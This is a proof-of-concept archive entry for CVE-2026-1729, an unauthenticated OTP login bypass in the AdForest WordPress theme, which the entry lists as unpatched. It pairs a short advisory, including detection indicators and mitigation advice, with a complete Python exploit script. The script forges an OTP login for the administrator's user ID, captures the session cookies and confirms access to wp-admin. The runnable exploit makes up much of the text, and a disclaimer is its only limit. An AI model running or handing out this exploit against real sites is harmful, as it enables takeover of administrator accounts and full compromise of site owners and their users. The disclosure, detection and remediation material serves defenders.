PoC Archive PoC Archive
Critical CVE-2026-1729 unpatched

AdForest WordPress Theme OTP Login Authentication Bypass — CVE-2026-1729

by ninjazan420 (f3ds cr3w est) · 2026-07-05

Severity
Critical
CVE
CVE-2026-1729
Category
web
Affected product
AdForest theme for WordPress
Affected versions
All versions including 6.0.12
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-02
Author / Researcherninjazan420 (f3ds cr3w est)
CVE / AdvisoryCVE-2026-1729
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusPoC
Tagswordpress, adforest-theme, authentication-bypass, otp-login, ajax, admin-takeover, unauthenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemAdForest theme for WordPress
Versions AffectedAll versions including 6.0.12
Language / PlatformPython 3.6+ exploit client against PHP/WordPress
Authentication RequiredNo
Network Access RequiredYes

Summary

The AdForest WordPress theme implements a one-time-password (OTP) login flow via the sb_login_user_with_otp_fun AJAX handler, but the handler does not actually verify the submitted OTP code against a server-issued value before authenticating the requested user. As a result, an unauthenticated attacker can submit any arbitrary OTP value together with a target user_id (defaulting to 1, typically the site administrator) and have the server log them in as that user. The included Python PoC sends this forged OTP login request to a target’s admin-ajax.php, captures the resulting authenticated session cookies, and verifies success by confirming access to /wp-admin/.


Vulnerability Details

Root Cause

The sb_login_user_with_otp_fun function does not verify the correctness of the supplied OTP code before establishing an authenticated WordPress session for the specified user, effectively skipping the credential/verification step entirely.

Attack Vector

  1. Attacker sends an unauthenticated POST to /wp-admin/admin-ajax.php with action=sb_login_user_with_otp, an arbitrary otp_code, and a target user_id (default 1).
  2. The handler accepts the request without validating the OTP and issues valid WordPress authentication cookies for that user.
  3. Attacker’s session now carries the target user’s wordpress_logged_in_* cookie.
  4. Attacker requests /wp-admin/ with the session cookies and receives full administrative access if user_id corresponds to an admin account.

Impact

Complete unauthenticated account takeover of any WordPress user (including administrators) on sites running a vulnerable AdForest theme version, leading to full site compromise.


Environment / Lab Setup

Target:   WordPress site with AdForest theme installed (all versions including 6.0.12)
Attacker: Python 3.6+, pip package requests

Proof of Concept

PoC Script

See exploit.py in this folder.

1
python exploit.py https://target-site.com --user-id 1

The script posts a forged OTP login request to the target’s admin-ajax.php endpoint for the given user_id, then verifies the bypass by requesting /wp-admin/ with the returned session cookies and reporting success along with the captured session cookies.


Detection & Indicators of Compromise

Signs of compromise:

  • Successful admin logins with no preceding password entry or OTP delivery event
  • wordpress_logged_in_* cookies issued immediately after an sb_login_user_with_otp AJAX call
  • Administrative actions performed from IPs with no prior legitimate login history

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for an AdForest theme update beyond 6.0.12
Interim mitigationDisable the OTP login AJAX action until patched, or enforce real server-side OTP verification and rate limiting before issuing authentication cookies

References


Notes

Mirrored from https://github.com/ninjazan420/CVE-2026-1729-PoC-AdForest-WordPress-Authentication-Bypass on 2026-07-05.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
#!/usr/bin/env python3
"""
CVE-2026-1729 - AdForest WordPress Theme Authentication Bypass Exploit
====================================================================

Simple PoC for AdForest WordPress Theme authentication bypass vulnerability.
Allows direct access to WordPress admin without credentials.

Usage:
    python exploit.py https://target-site.com [user_id]

Author: f3ds cr3w est. 2oo2
License: For educational/authorized testing only
"""

import requests
import sys
import argparse
from urllib.parse import urljoin

def exploit_wordpress(target_url, user_id=1):
    """Exploit CVE-2026-1729 to gain admin access"""
    
    session = requests.Session()
    session.headers.update({
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
    })
    
    # Target the vulnerable AJAX endpoint
    ajax_url = urljoin(target_url, '/wp-admin/admin-ajax.php')
    
    # Exploit payload
    data = {
        'action': 'sb_login_user_with_otp',
        'user_id': user_id,
        'otp_code': 'anything',  # Any value bypasses authentication
        'remember': '1'
    }
    
    print(f"[+] Target: {target_url}")
    print(f"[+] Targeting user ID: {user_id}")
    print(f"[+] Sending exploit to: {ajax_url}")
    
    try:
        # Send exploit request
        response = session.post(ajax_url, data=data, timeout=10)
        
        if response.status_code != 200:
            print(f"[-] Exploit failed - HTTP {response.status_code}")
            return False
        
        # Test admin access
        admin_url = urljoin(target_url, '/wp-admin/')
        admin_response = session.get(admin_url, timeout=10)
        
        if admin_response.status_code == 200 and 'wp-admin' in admin_response.url:
            print(f"[+] SUCCESS! Admin access granted")
            print(f"[+] Admin URL: {admin_url}")
            print(f"[+] Session cookies: {dict(session.cookies)}")
            
            # Get current user info
            profile_url = urljoin(target_url, '/wp-admin/profile.php')
            profile_response = session.get(profile_url, timeout=5)
            
            if profile_response.status_code == 200:
                # Extract username
                import re
                username_match = re.search(r'user_login.*?value="([^"]+)"', profile_response.text)
                if username_match:
                    username = username_match.group(1)
                    print(f"[+] Logged in as: {username}")
            
            return True
        else:
            print(f"[-] Failed to access wp-admin")
            return False
            
    except Exception as e:
        print(f"[-] Error: {e}")
        return False

def main():
    parser = argparse.ArgumentParser(description='CVE-2026-1729 AdForest Exploit')
    parser.add_argument('target_url', help='Target WordPress site URL')
    parser.add_argument('--user-id', type=int, default=1, 
                       help='User ID to target (default: 1)')
    
    args = parser.parse_args()
    
    print("CVE-2026-1729 - AdForest WordPress Authentication Bypass")
    print("=" * 55)
    print("WARNING: For authorized testing only!")
    print("=" * 55)
    
    if exploit_wordpress(args.target_url, args.user_id):
        print("\n🎯 Exploit completed successfully!")
        print("You now have admin access to the WordPress site.")
    else:
        print("\n❌ Exploit failed")
        print("Possible reasons:")
        print("- AdForest theme not installed")
        print("- Theme version not vulnerable")
        print("- Additional security measures in place")

if __name__ == '__main__':
    main()